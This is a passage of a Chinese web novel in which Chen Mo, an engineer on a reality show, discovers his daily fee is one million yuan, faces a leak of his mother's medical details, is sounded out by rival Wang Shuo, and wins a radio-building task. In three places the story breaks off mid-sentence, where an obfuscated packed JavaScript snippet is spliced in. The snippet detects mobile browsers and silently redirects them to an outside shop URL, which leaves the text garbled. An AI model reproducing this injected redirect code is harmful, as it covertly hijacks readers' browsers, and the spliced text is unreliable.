“人的精力就像CPU,”陈末说,“不能长时间满负荷运行,需要合理安排工作和休息。重要任务要在精力高峰期做,琐事放在低谷期。还要留出缓冲时间应对突发情况。” 秦澜记录:“所以要有每日/每周计划,分配时间段给不同类型任务。” “对。还要定期复盘,调整分配策略。” 风险评估部分,陈末介绍了运维常用的风险评估矩阵:可能性×影响=风险等级。高风险项要优先处理,低风险项可以接受或转移。 “生活中也可以用这个矩阵。”陈末说,“比如‘忘记重要会议’可能性低但影响大,属于高风险,要设置多重提醒。‘午餐难吃’可能性高但影响小,属于低风险,可以接受。” 秦澜笑了:“很实用。” 最后是迭代优化。陈末强调PDCA循环(计划-执行-检查-调整)和持续改进的重要性。 “没有完美的系统,只有不断优化的系统。”他说,“每次故障都是改进的机会,每次成功都可以总结经验。关键是要建立反馈闭环,让系统能自我进化。” 秦澜认真记录。书房里很安静,只有键盘敲击声和偶尔的翻页声。 十一点四十五分,框架讨论基本完成。秦澜看着屏幕上密密麻麻的思维导图,满意地点头。 “非常完整。”她说,“比我预想的还要好。” “只是基础理论。”陈末说,“实际应用需要根据具体场景调整。” “我知道。”秦澜关掉电脑,“但这套框架本身就有很大价值。不只是对影视项目管理,对任何需要系统思考的领域都有用。” 她停顿了一下,看着陈末:“你真的不考虑转型做管理咨询吗?以你的思维能力和表达能力,会很成功。” 陈末摇头:“我喜欢技术工作。直接解决问题,有即时反馈。” “理解。”秦澜点头,“人各有所长。不过……”她笑了笑,“如果你改变主意,随时联系我。我认识一些科技公司的高管,他们需要你这种人才。” “谢谢。”陈末说。但他心里想的是:管理咨询日薪可能更高,但现在的合同还有二十七天,先完成再说。 秦澜看了看时间:“还有一点时间,我能问几个私人问题吗?” “关于什么?” “关于你在节目里的状态。”秦澜说,“我观察到你一直很……稳定。情绪波动很小,行为模式一致。这是刻意控制的,还是自然状态?” 陈末想了想:“自然状态。我习惯保持稳定,因为工作需要。” “即使在压力下?比如被摄像机拍,被网友讨论,被其他嘉宾……关注?” “压力是另一种负载。”陈末说,“我的系统设计能处理一定程度的压力负载。超过阈值才会出问题。” “阈值是多少?” “不知道。没测过。” 秦澜笑了:“你真是我见过最有趣的人。大多数人在镜头前都会紧张,会表演,会刻意表现自己好的一面。但你……好像完全不在乎别人怎么看你。” “我在乎。”陈末纠正,“我在乎节目组是否满意,因为关系到我能否拿到报酬。我在乎观众是否喜欢,因为关系节目热度,间接影响我的价值。我只是不在乎……表演。” “所以你不是在表演‘真实’,而是真的真实。” “可以这么说。” 秦澜沉默了几秒,手指轻轻敲击桌面。这是她思考时的习惯动作。 “陈末,”她忽然问,“你知道你现在在网上的热度吗?” “知道一点。” “不只一点。”秦澜说,“你是这个节目的现象级人物。‘为钱而来的真实素人’这个人设,击中了当下观众的某种心理——厌倦虚伪,渴望真实。即使这种真实有点笨拙,有点直男,但正因为如此才可贵。” 陈末没说话。他不太理解为什么“直白说为钱而来”就值得这么多人讨论。 “王烁有压力了。”秦澜继续说,“他是专业偶像,懂得如何制造话题、经营人设。但他没想到,一个完全不按套路出牌的人,反而获得了更大的关注。” “我没有想抢关注。”陈末说。 “我知道。”秦澜点头,“这正是关键。你不是在竞争,你只是在做自己。但在这个环境里,‘做自己’本身就是最强的竞争力。” 陈末不太明白这个逻辑,但他点点头。 “不过要小心。”秦澜语气严肃了些,“王烁的团队很专业。当他们意识到常规竞争无效时,可能会采取……非常规手段。” “比如?” “比如挖掘你的黑料,制造负面话题,或者……在节目里设计让你出丑的环节。”秦澜说,“我不是危言耸听,这个圈子里常见这种事。” 陈末皱眉。他有什么黑料?最大的“黑料”大概就是真的只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990777|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为钱而来。至于出丑……他不在乎,他本来就不是完美人设。 “谢谢提醒。”他说。 “还有,”秦澜顿了顿,“关于你的合同……你确认过所有条款吗?” 陈末心里一紧:“什么意思?” “没什么。”秦澜说,“只是觉得……以你现在的价值,节目组应该会想方设法留住你。也许会提供更好的条件。” 更好的条件?加薪?陈末想起那份模糊的合同。如果日薪真的是一百万……不,不可能。 “我合同签了三十天。”他说,“到期就走。” “如果节目组想续约呢?” “不考虑。”陈末说,“我有其他计划。” 秦澜看着他,眼神里有种评估的意味。最后她点头:“好。我尊重你的选择。” 十二点整,访谈结束。秦澜关掉录音设备,整理资料。 “谢谢你的时间。”她说,“这些素材对我帮助很大。等剧集开始筹备,我可能还会请教你。” “随时。”陈末说。 “另外,”秦澜起身,“关于刚才说的王烁的事……如果遇到任何问题,可以找我。我在这个圈子待得久,有些人脉和资源。” “谢谢。”陈末真诚地说。 离开书房,陈末在走廊里站了一会儿。脑子里复盘刚才的谈话。 秦澜的提醒值得注意。王烁团队可能会采取行动。但他能做什么?保持警惕,继续做自己,完成合同,拿钱走人。 至于合同本身……那个疑问又冒出来了:日薪真的是一千吗? 他摇摇头,把这个念头压下去。现在不是纠结这个的时候。 午餐时,气氛有点微妙。王烁主动坐到了陈末旁边——这在之前很少见。 “陈末,下午有空吗?”王烁问,“想请教你一些技术问题。” “什么技术问题?”陈末警惕。 “关于……数据分析和运动优化。”王烁说,“昨天看你分析排球比赛,很厉害。我最近在准备一个新戏,角色是运动员,想学习一下。” 这个理由听起来合理。但陈末想起秦澜的警告。 “下午我要处理工作。”陈末说,“改天吧。” “好。”王烁笑容不变,“那就改天。” 苏小雨插话:“陈末老师下午要工作呀?我还想找你修平板呢……” “又坏了?”陈末问。 “没有没有!”苏小雨赶紧说,“就是想让你帮我装几个软件……” “晚点可以。”陈末说。 林薇安静地吃着沙拉,没说话。但陈末注意到,她看了王烁一眼,眼神有些深。 午餐后,陈末回房间。他确实有工作要处理——公司有个新系统要上线,需要他远程支持。 下午三点,他正在查看部署日志,手机响了。是张伟。 “末哥!出事了!” 陈末心里一紧:“什么事?” “有人在网上爆料,说你参加节目是为了给母亲筹手术费,还说你其实很穷,之前到处借钱……” 陈末皱眉。这是事实,但被这样爆出来,感觉不对劲。 “爆料人是谁?” “不知道,匿名账号。”张伟说,“但说得有鼻子有眼,连你母亲在哪个医院、什么病都写出来了。现在评论区吵翻了,有人说你卖惨,有人说你孝顺,有人怀疑是节目组炒作……” 陈末沉默。母亲的信息被曝光,这触及了他的底线。 “节目组知道吗?”他问。 “应该知道了。你要不要联系刘导?” “嗯。”陈末挂了电话,立刻打给刘导。 刘导接得很快:“陈末老师,我正想联系你。看到新闻了?” “看到了。我母亲的信息被泄露了。” “我们知道。”刘导语气严肃,“正在查是谁泄露的。节目组会发声明保护嘉宾隐私。另外……陈末老师,我们需要谈谈。” “谈什么?” “关于……你的合同。”刘导顿了顿,“有些细节,可能需要重新确认。” 陈末的心沉了下去。 合同细节。 那个他一直不敢深究的问题,终于要浮出水面了。 窗外,阳光正好。 但陈末觉得,有什么东西,正在悄悄改变。 17. 王烁的“友好请教” 下午四点,陈末走进刘导办公室时,房间里已经坐了四个人:刘导、节目制片人李总、法务部的赵律师,还有一个他不认识的中年女人,穿着职业套装,表情严肃。 “陈末老师,请坐。”刘导指了指空着的椅子,“这位是草莓视频公关部的王总监。” 陈末坐下。会议室气氛凝重,像在开事故复盘会。 “事情我们都知道了。”李总先开口,他是个五十多岁的中年男人,头发稀疏,但眼神锐利,“关于您母亲病情信息泄露的事件,我们正在全力调查。初步判断是医院内部人员泄露,我们已经联系院方,要求他们彻查并追究责任。” 陈末点头:“谢谢。” “我们已经在准备声明,”王总监说,“强调保护嘉宾隐私的重要性,谴责泄露行为,同时会模糊处理具体信息——不会确认也不会否认,只是表达对您个人处境的理解和支持。” “这样处理合适吗?”陈末问。 “最稳妥的方式。”赵律师解释,“如果直接确认,会坐实爆料内容,可能引发更多讨论。如果否认,万一后续有更多证据流出,会损害节目公信力。模糊表态是最好的选择。” 陈末不太懂公关策略,但他相信专业判断。 “另外,”刘导补充,“我们会加强安保措施,确保您和其他嘉宾的隐私安全。别墅内外会增加巡逻,所有进出人员严格核查。” “好。”陈末说。 李总看着他:“陈末老师,我们还想谈谈您的合同。” 来了。陈末坐直身体。 “合同有什么问题吗?”他尽量保持平静。 李总和刘导交换了一个眼神。刘导开口:“是这样……我们重新审阅了您的合同,发现报酬条款那里,打印可能有些……模糊。” 陈末的心跳加快了。 “模糊?”他重复。 “是的。”赵律师拿出一份合同副本——和陈末手里那份一样,“您看这里,日薪的数字,印刷确实不太清楚。我们查阅了原始电子档和财务记录,确认实际金额是……” 陈末屏住呼吸。 “……一百万。”赵律师说,“人民币一百万元每日,含税。” 房间里安静了三秒。 陈末脑子里一片空白。一百万。每日。三十天就是……三千万。 不可能。绝对不可能。 “你们……确定?”他声音有些干涩。 “确定。”李总说,“原始电子档、财务系统的付款准备记录、还有张伟——您那位朋友,当初和我们对接的选角助理——的沟通记录,都显示是一百万。” 陈末想起张伟焦急的表情,想起他反复问“合同你看清楚没”。原来张伟早就知道。 “所以……”陈末艰难地开口,“所以过去七天,我每天的工资是一百万?” “从技术角度,是的。”赵律师说,“但由于是税后支付,实际到您账户的金额会扣除个人所得税。按劳务报酬计算,税率较高,但具体数字需要财务核算。” 陈末闭上眼睛。一百万。一天。他七天就赚了普通人可能一辈子都赚不到的钱。 而他在干什么?在算日薪一千,在心疼每天的工时,在纠结游泳教学算不算加班。 荒谬。太荒谬了。 “为什么……”他睁开眼,“为什么不早告诉我?” “我们以为您知道。”刘导说,“张伟说跟您确认过合同。而且您一直表现得很……淡定,我们以为您就是这种宠辱不惊的性格。” 陈末想起自己每天认真记录工时,计算收入的样子。在节目组眼里,那大概是某种行为艺术?或者……深藏不露的淡定? “现在您知道了,”李总说,“我们想和您重新确认:是否愿意继续履行合同?当然,如果您觉得不适应,我们也可以协商调整……” “不用。”陈末打断,“合同我签了,我会履行。” 三千万。母亲的手术费、后续治疗费、甚至一辈子生活费都够了。他怎么可能退出。 “太好了。”李总明显松了口气,“另外,考虑到您现在的热度和贡献,我们想额外提供一些福利。比如,节目结束后,如果您有兴趣,我们可以推荐您参与草莓视频的其他项目……” “不用了。”陈末说,“节目结束我就回去工作。” “理解。”李总点头,“人各有志。那合同的事就这样确定。报酬会按合同约定,在录制结束后一次性支付。” “好。” 会议结束。陈末走出办公室时,脚步有些飘。他回到房间,关上门,背靠在门上。 一百万。一天。 他需要重新计算一切。 打开手机备忘录,他看着之前的记录: 【8月7日第七天】 当前状态:母亲信息泄露事件处理中,合同真相确认(日薪100万) 今日收入:100万(?待确认) 累计收入:700万(?) 距离目标:…… 他删掉了“距离目标”那行。没有目标了。钱已经远远超过需要。 但他还是继续写: 【新认知】 1. 实际日薪100万,合同有效至第30天。 2. 需重新评估所有行为策略:原“为钱而来”人设成立,但金额认知需调整(对外仍维持“日薪一千”认知)。 3. 母亲信息泄露事件需关注后续发展。 4. 王烁团队嫌疑上升,需警惕。 写完,他看着屏幕上的数字:100万。700万。 不真实。像在做梦。 敲门声打断了他的思绪。 “陈末老师在吗?”是王烁的声音。 陈末深吸一口气,调整表情,开门。 王烁站在门外,笑容完美:“打扰了。想请教你那个数据分析的事,现在方便吗?” “进来吧。”陈末侧身让开。 王烁走进房间,打量了一下——很简洁,没有多余物品。桌上放着笔记本电脑和几本书。 “房间很整洁。”王烁说。 “习惯了。”陈末指了指椅子,“坐。” 王烁坐下,陈末坐在床边。两人面对面,距离不远不近。 “关于数据分析,”王烁开口,“昨天看你在排球比赛时的表现,很受启发。我自己也在学一些数据分析,但都是皮毛。想请教你专业的方法。” 陈末看着王烁。他想起秦澜的警告,想起母亲信息泄露的时间点,想起王烁最近的变化。 “你想分析什么?”陈末问。 “运动表现。”王烁说,“我下部戏演运动员,想提前准备。但不止是运动……也想学学怎么分析人的行为模式。” “人的行为模式很复杂。”陈末说,“变量太多,很难建立准确模型。” “但你做到了。”王烁直视他,“你分析我们每个人的行为,预测我们的反应。比如你知道我会拦网右斜,知道楚曦进攻路线单一,知道苏小雨接球手滑。你怎么做到的?” 陈末思考怎么回答。说实话?暴露他的观察方法?还是给一个模糊答案? 他选择折中:“观察细节,记录模式,寻找相关性。” “能具体教我吗?”王烁问。 接下来的半小时,陈末简单介绍了数据分析的基础:如何定义问题,如何收集数据,如何清洗处理,如何建模分析,如何验证结果。他说得很概括,避免透露具体方法。 王烁听得很认真,还做了笔记。 “所以关键是要有足够的数据。”王烁总结。 “嗯。数据质量决定分析质量。” “那如果……数据被人为干扰了呢?”王烁忽然问。 陈末警觉:“什么意思?” “比如,”王烁慢慢说,“有人故意提供错误数据,或者隐藏关键信息。怎么识别?” “通过交叉验证,寻找不一致性。”陈末说,“真实的数据有内在一致性,伪造的数据往往有破绽。” 王烁点头:“有道理。”他停顿了一下,“陈末,你觉得在这个节目里,大家都是真实的吗?” 问题很直接。陈末谨慎回答:“我认为大家都在尽量表现真实的一面。” “尽量?”王烁笑了,“也就是说,还是有不真实的部分。” “每个人都会有。” “包括你吗?” 陈末看着王烁。王烁的眼神很专注,像在寻找什么。 “包括我。”陈末承认,“我也会选择说什么不说什么。但这不意味着说谎。” “只是选择性真实。”王烁说,“我懂了。” 他站起身:“谢谢你教我。很有帮助。” “不客气。” 王烁走到门口,又回头:“对了,关于网上那些爆料……别太在意。这个圈子就是这样,总有人想挖隐私。但清者自清。” “我知道。”陈末说。 王烁离开后,陈末关上门。他回想着刚才的对话。 王烁在试探他。关于数据分析的请教只是幌子,真正的目的是评估他的反应,可能还想套他的话。 但陈末没露出破绽。至少他自己这么觉得。 晚餐时,气氛明显不同。所有人都知道了网上的爆料,看陈末的眼神多了些复杂的东西。 苏小雨第一个开口:“陈末老师,你没事吧?那些爆料太可恶了!” “没事。”陈末说。 楚曦皱眉:“隐私泄露是大事。节目组要加强安保。” “已经在做了。”陈末说。 秦澜看着他:“如果需要帮助,我可以联系熟悉的媒体,做些正面引导。” “不用了,谢谢。”陈末说,“节目组在处理。” 林薇没说话,但她看了陈末很久,眼神里有种……理解?同情?陈末分不清。 王烁一如既往地温和:“陈末,别担心,这种事情很快会过去。大家更关注节目内容。” “嗯。”陈末点头。 晚餐后,陈末在花园里散步。月色很好,海风清凉。 林薇跟了上来,走在他身边。 “你母亲……还好吗?”她问。 “在医院,情况稳定。”陈末说。 “需要帮忙的话,我认识一些好医生。” “谢谢,暂时不用。” 两人沉默地走了一段。 “一百万。”林薇忽然说。 陈末停住脚步。 “刘导告诉我了。”林薇看着他,“你的日薪。” 陈末不知道刘导为什么告诉林薇,但他没问。 “所以,”林薇继续说,“你之前的那些计算,那些纠结工时……都是真的?你真的以为是一天一千?” “嗯。”陈末承认。 林薇笑了,摇摇头:“你真是……不可思议。” “我只是没看清合同。” “不。”林薇说,“即使看清了,你可能还是会那样计算。因为你就是那样的人。” 陈末不太明白。 “一种极致的……纯粹。”林薇说,“不管是一千还是一百万,你都用同样的态度对待工作。这很少见。” 陈末想:如果早知道是一百万,他可能会更紧张,更怕出错。但也许林薇说得对,本质上他不会变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990778|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “王烁今天找你了吧?”林薇换了个话题。 “嗯。请教数据分析。” “他在模仿你。”林薇说,“想学你的‘真实’。但他不明白,‘真实’不是能学会的技巧。那是一种状态。” “你觉得他在模仿我?” “很明显。”林薇说,“他最近说话的方式,看问题的角度,都在向你靠拢。但他做不到你那种……自然的笨拙。” 自然的笨拙。陈末第一次听到有人这样形容他。 “这不是夸奖。”林薇补充,“但也不是批评。只是一种观察。” “谢谢。”陈末说。 两人走到花园尽头。远处海面漆黑,只有月光照出一条银色的路。 “陈末。”林薇轻声说。 “嗯?” “合同的事,不要告诉其他人。”林薇说,“尤其是王烁。他现在已经觉得受威胁了,如果知道你的实际报酬……可能会做出更极端的事。” “你觉得母亲信息泄露和他有关?” “不确定。”林薇说,“但时间点很巧。而且……他最近压力很大。他的团队可能急了。” 陈末点头。他也这么想。 “另外,”林薇看着他,“那一百万一天,值得吗?” 值得吗?陈末没想过这个问题。他需要钱,节目组给钱,交易成立。至于值不值得…… “工作就是工作。”他说,“报酬是合同的一部分。我提供价值,他们支付报酬。值不值得是市场决定。” 林薇看了他几秒,然后点头:“很理性的回答。” “我只是说实话。” “我知道。”林薇说,“这就是你最大的武器。继续保持。” 她转身离开,走了几步又回头:“对了,那本《人月神话》,能再借我几天吗?有些地方还想再看看。” “好。” 林薇走了。陈末一个人站在月光下。 一百万一天。 母亲的病有钱治了。 但他心里没有喜悦,只有一种……不真实感。 还有警惕。 王烁在模仿他,在试探他。 母亲信息被泄露,可能和王烁团队有关。 合同真相可能带来更多麻烦。 一切都变得复杂。 而他只想简单地把这三十天的工作做完,拿钱,走人。 怎么就那么难呢? 手机震动。是张伟:“末哥!声明发了!舆论开始转向了!好多人在骂泄露隐私的人!” 陈末点开链接。草莓视频的官方声明措辞严谨,既表达了对陈末的支持,又强调了保护隐私的立场。评论区果然在骂爆料者。 但有一条评论被顶得很高: “所以陈末参加节目真是为了给母亲筹手术费?那他说‘为钱而来’是真话中的真话了。有点心疼怎么回事……” 下面回复: “孝顺又真实,这人设绝了。” “但日薪多少啊?够手术费吗?” “节目组应该会帮忙吧?” “希望陈末妈妈早日康复……” 陈末关掉页面。 人设。又是人设。 他现在有了新的人设:为母筹钱的孝顺技术男。 但这也不是人设,是事实。 只是这个事实,现在被公开了,被讨论了,被消费了。 他深吸一口气,走回别墅。 走廊里,他遇到王烁。王烁刚打完电话,表情有些严肃。看见陈末,他立刻换上笑容。 “陈末,还没休息?” “快了。”陈末说。 “明天见。”王烁点头,走进自己房间。 陈末看着他的背影,想起林薇的话:“他在模仿你。” 也许吧。 但模仿永远只是模仿。 真实是无法模仿的。 就像他现在知道日薪一百万,但明天醒来,他可能还是会下意识计算工时。 因为那就是他。 一个习惯了计算、分析、优化的运维工程师。 不管日薪是一千,还是一百万。 回到房间,陈末打开电脑。他需要处理工作,需要做些熟悉的事情,找回一点真实感。 屏幕亮起,监控面板上一切正常。 服务器在运行。 系统很稳定。 这让他稍微安心。 至少在这个世界里,一切都有明确的规则,明确的输入输出,明确的因果关系。 不像现实世界,这么复杂,这么……难以预测。 他处理完工作,躺到床上。 明天是第八天。 日薪一百万。 还有二十二天。 他要做的,就是继续做自己。 继续“真实”。 继续……演好这场,连报酬都搞错了的,荒诞的戏。 窗外,月亮升到最高处。 月光照进房间,落在陈末脸上。 他闭着眼,但没睡着。 脑子里在算:一百万×三十天=三千万。 三千万。 足够母亲手术,足够他们生活,足够……很多很多。 但他忽然想起一个问题: 如果早知道是一百万一天,他还会来吗? 会的。 为了母亲,他什么都会做。 只是现在,这份工作的重量,突然变得不一样了。 而他,还没有准备好,承受这样的重量。 夜还长。 而明天,太阳照常升起。 戏,还要继续演。 18. 第二次任务:荒岛电台 早晨九点,任务室里的气氛比平时严肃。 刘导站在白板前,白板上画着海岛地图,标注了六个红点。六个嘉宾坐在下面,表情各异——苏小雨好奇,楚曦跃跃欲试,秦澜专注,林薇平静,王烁微笑,陈末……在算时间。 “各位老师,今天是我们第二次正式任务。”刘导用马克笔敲了敲白板,“任务名称:‘荒岛电台’。规则如下——” 他转身在白板上写: 1. 六人分为三组,分组方式:抽签。 2. 每组会被送到海岛不同地点(地图红点)。 3. 每组获得一个‘求生包’,内有基础工具和材料。 4. 任务目标:用有限材料制作简易通讯设备,向中心基站发送加密讯息。 5. 第一组成功发送并破解讯息的组获胜。 6. 时间限制:四小时。 7. 获胜奖励:下次集体活动的策划权。 苏小雨举手:“加密讯息是什么?” “每组会得到一个密码本。”刘导展示一本小册子,“里面是简单的替换密码。你们需要发送一条指定内容,我们会验证是否正确。” 楚曦:“通讯设备?对讲机?” “材料有限。”刘导微笑,“需要你们自己制作。可以是无线电,可以是光信号,可以是声音信号——只要能传到基站就行。” 秦澜推了推眼镜:“基站位置?” “在这里。”刘导在地图中央画了个圈,“海岛最高点,灯塔。直线距离各点约1-3公里,有地形遮挡。” 陈末看着地图,脑子里开始计算。无线电需要天线和发射电路,材料包应该会有基础元件。光信号需要镜子或反光材料,但白天效果差。声音信号……太原始。 “现在抽签分组。”刘导拿出一个纸箱。 陈末抽出一张纸条:蓝色。他抬头,看见苏小雨兴奋地举起蓝色纸条:“陈末老师!我们又是一组!” 楚曦抽到红色,和王烁一组。林薇和秦澜自动成组——她们抽到剩下颜色。 “分组完成。”刘导说,“现在领取求生包,十分钟后出发。” 求生包是军绿色帆布包,沉甸甸的。陈末打开检查:电池、电线、小喇叭、几个电阻电容、一块电路板、小刀、胶带、镜子、口哨、手电筒、纸笔,还有一本《基础无线电原理》小册子。 “这些能做什么呀?”苏小雨翻看着材料。 “可以做简易无线电发射器。”陈末说,“但需要天线。” “天线呢?” 陈末环顾任务室,目光落在窗户的金属框架上。“可能需要自制。” 十分钟后,三辆车分别送三组去不同地点。陈末和苏小雨被送到海岛北侧的一片沙滩,背后是悬崖,面前是大海。 “任务开始!”跟拍摄像师小赵宣布,“现在可以打开密码本。” 陈末打开小册子。密码很简单:字母替换,A变成D,B变成E,以此类推。需要发送的讯息是:“SOS 北岸安全两人”。 “这个简单!”苏小雨说,“就是每个字母往后移三位。” “嗯。”陈末已经开始检查材料。电池是9V的,电路板是基础的振荡电路板,喇叭可以当麦克风。但缺天线——无线电发射需要天线才能把信号传出去。 他环顾四周。沙滩上除了沙子就是石头,悬崖上有植物。 “陈末老师,我们需要做什么?”苏小雨问。 “做无线电发射器。”陈末说,“但缺天线材料。需要找金属,越长越好。” “金属……”苏小雨想了想,“我的发夹可以吗?”她取下头上的金属发夹。 “太短。”陈末接过发夹,看了看,“但可以当连接器。” 他继续在沙滩上寻找。找了十分钟,只找到几个易拉罐拉环——还是铝的,导电性一般。 “怎么办?”苏小雨有点急,“其他组可能已经在做了。” 陈末抬头看悬崖。悬崖上有藤蔓植物,但藤蔓不是金属。他忽然想起什么,看向跟拍小赵。 “小赵老师,”陈末问,“你的设备里有金属部件吗?” 小赵愣了一下:“有是有……但这是工作设备,不能拆。” “不拆,借用。”陈末说,“三脚架是金属的吧?能借一下吗?” 小赵犹豫。耳麦里传来刘导的声音:“给他。” 小赵拆下三脚架的一条腿——铝合金材质,可伸缩,最长约1.5米。 “谢谢。”陈末接过,开始工作。 他先用小刀剥开电线,连接电池和电路板。电路板上有个振荡器芯片,配合电阻电容可以产生固定频率的无线电波。他把喇叭拆开,用里面的线圈当调制器——声音信号调制到无线电波上。 苏小雨在旁边看傻了:“陈末老师……你连这个都会?” “基础电子知识。”陈末说,“大学时参加过无线电社团。” 他连接好电路,用胶带固定。然后把三脚架腿接到电路输出端——这就是简易天线。长度不够理想,但应该能传几公里。 “现在需要测试。”陈末打开电源,电路板上的LED灯亮了。他对着喇叭说话:“测试,测试。” 声音通过无线电波发射出去,但不知道基站能否收到。 “接下来加密讯息。”陈末把密码本给苏小雨,“你把‘SOS 北岸安全两人’加密。” 苏小雨认真计算:“S后移三位是V,O后移三位是R……等等我记下来……” 她写在纸上:VRV 北岸安全两人。 “中文不用加密?”她问。 “中文……密码本只针对字母。”陈末说,“中文直接发。” 他接过纸条,对着喇叭,用摩尔斯电码发送。 “滴滴答,答滴滴答……”苏小雨听着有节奏的声音,“这是什么?” “摩尔斯电码。”陈末解释,“国际通用求救信号。SOS是···---···,我发送的是加密后的VRV,但开头用标准SOS,方便基站识别。” “基站能听懂吗?” “能。节目组肯定会准备接收设备。” 发送完毕。陈末关掉电源,节省电池。 “现在等回复?”苏小雨问。 “嗯。如果基站收到,会回复确认信号。” 他们等了十分钟。没有回复。 “可能距离太远,或者天线效率低。”陈末检查设备,“需要优化。” 他调整了天线角度,改变接地方式——把另一根电线埋进潮湿的沙子里,利用大地当回路。再次发送。 又等十分钟。还是没有回复。 苏小雨有点沮丧:“其他组可能已经成功了……” 陈末没说话。他在思考。无线电波直线传播,有地形遮挡,可能被悬崖挡住了。需要把天线架高。 他看向悬崖。悬崖不高,约二十米。如果能爬上去…… “小赵老师,”陈末问,“能帮忙把天线带到悬崖顶吗?用绳子吊上去。” 小赵再次请示,得到允许。他用随身带的攀登绳把天线绑好,爬上悬崖——作为跟拍摄像,他受过基础攀登训练。 天线被吊到悬崖顶,用石头固定。陈末在下面重新发送讯息。 这次,一分钟后,他们听到了回复——远处灯塔方向传来三声短促的哨音。 “收到了!”苏小雨跳起来。 陈末关掉设备,开始收拾。“现在去基站验证。” “怎么去?走路吗?” “应该有车接。”陈末看向小赵。 小赵点头:“任务完成的车会在路边等。” 果然,走到路边时,一辆车已经在等。上车,前往灯塔。 路上,苏小雨兴奋地问:“陈末老师,你怎么会摩尔斯电码?” “以前学的。”陈末说,“觉得有用。” “太厉害了!你还有什么不会的吗?” “很多。”陈末说,“比如做饭,比如社交,比如……” 他说到一半停住了。比如分辨别人是真友好还是假友好。比如处理现在这种复杂局面。 车到灯塔。这是座白色石塔,有旋转楼梯通向顶部。基站设在塔顶的小房间里。 刘导已经在等他们了。看见陈末,他笑容满面:“收到你们的信号了。很清晰,解码正确。你们是第一组。” “耶!”苏小雨欢呼。 “其他组呢?”陈末问。 “楚曦王烁组还在尝试光学信号——用镜子反光。林薇秦澜组在做声音信号——用哨音和鼓声。但都有问题,要么距离不够,要么容易被干扰。” 陈末点头。无线电确实是最优解。 “现在需要破解你们的讯息。”刘导递来一张纸,“这是基站接收到的电码,写下来。” 纸上是一串点和线。陈末看了一眼,直接念出来:“VRV 北岸安全两人。” “正确。”刘导鼓掌,“恭喜,你们获胜。” 奖励是下次集体活动的策划权。苏小雨已经开始想:“我们去潜水吧!或者烧烤派对!” “都可以。”刘导说,“现在等其他组。” 一小时后,另外两组陆续到达。楚曦王烁组失败了——镜子反光在白天效果差,而且需要对准,他们没能把信号传到基站。林薇秦澜组部分成功——他们用哨音发送了摩尔斯电码,但只传了前半段,后半段被海风声干扰。 “所以陈末组赢了。”刘导宣布。 王烁的表情有点僵硬,但很快恢复笑容:“恭喜。陈末真是全能。” 楚曦倒是很坦然:“输给技术大牛,心服口服。” 秦澜点头:“无线电确实是最佳方案。” 林薇没说话,但她看了陈末一眼,眼神里有赞许。 任务结束,回别墅。车上,苏小雨还在兴奋:“陈末老师,下次集体活动我们一定要好好计划!” “你决定就好。”陈末说。他在想别的事。 回到别墅,午餐时间。餐桌上,大家讨论着任务过程。 楚曦说他们试了各种方法:“王烁还想用火堆烟雾,但材料不够。” 王烁笑着补充:“我野外求生知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不知道你的合同具体内容,”秦澜继续说,“但王烁最近很焦虑。你的热度太高,完全打破了他的预期。他团队可能会采取行动。” “什么行动?” “几种可能。”秦澜分析,“第一,挖黑料——但你应该没有。第二,制造负面话题——比如质疑你的真实性。第三,在节目里设计让你出丑的环节。第四……如果知道你的实际报酬,可能会向节目组施压,要求调整。” 陈末点头:“谢谢提醒。” “你准备怎么办?” “继续做自己。”陈末说,“我没有什么可隐藏的。合同是商业机密,但泄露了我也没办法。” 秦澜看着他:“你比我想象中淡定。” “急也没用。”陈末说,“系统遇到攻击,第一反应不是 panic,而是收集信息,评估影响,制定应对方案。” 秦澜笑了:“又是系统比喻。好吧,有需要随时找我。” 她离开后,陈末站在窗前。 王烁在调查他。日薪百万的消息可能在泄露。母亲信息刚被泄露过。 一切都指向同一个方向:有人想让他出局。 但为什么?他只是个临时嘉宾,三十天后就走,不影响任何人长期利益。 除非……他的存在本身就成了问题。 因为他太“真实”,衬托出其他人的“表演”。 因为他太“普通”,反而成了最特别的那个。 因为他……无意中,成了这个节目的核心。 而有人不想看到这个局面。 陈末打开手机,给刘导发了条消息:“刘导,方便时请回电,有事咨询。” 五分钟后,刘导回电。 “陈末老师,什么事?” “关于我的合同,”陈末直截了当,“是否有保密条款?如果信息泄露,节目组会如何处理?” 刘导沉默了几秒:“合同有严格保密条款。如果泄露,我们会追究法律责任。为什么问这个?” “我听到一些风声,说有人在查我的背景和合同。” “王烁团队?”刘导问。 “不确定。但有可能。” “我知道了。”刘导语气严肃,“我们会处理。另外,关于明天的安排……可能需要调整。” “调整什么?” “原定的自由活动取消,改为集体访谈环节。”刘导说,“需要每位嘉宾谈谈对节目的感受,对其他人的看法。这是公关需要——最近舆论有点复杂,需要引导。” “好。”陈末说。 挂了电话,陈末坐回桌前。 集体访谈。谈感受,谈看法。 这又是一个表演环节。 但他已经想好怎么应对。 实话实说。 一如既往。 窗外的天空,不知何时聚起了乌云。 海风变大了。 暴风雨要来了吗? 他不知道。 但他知道,在这个节目里,真正的风暴,可能才刚刚开始。 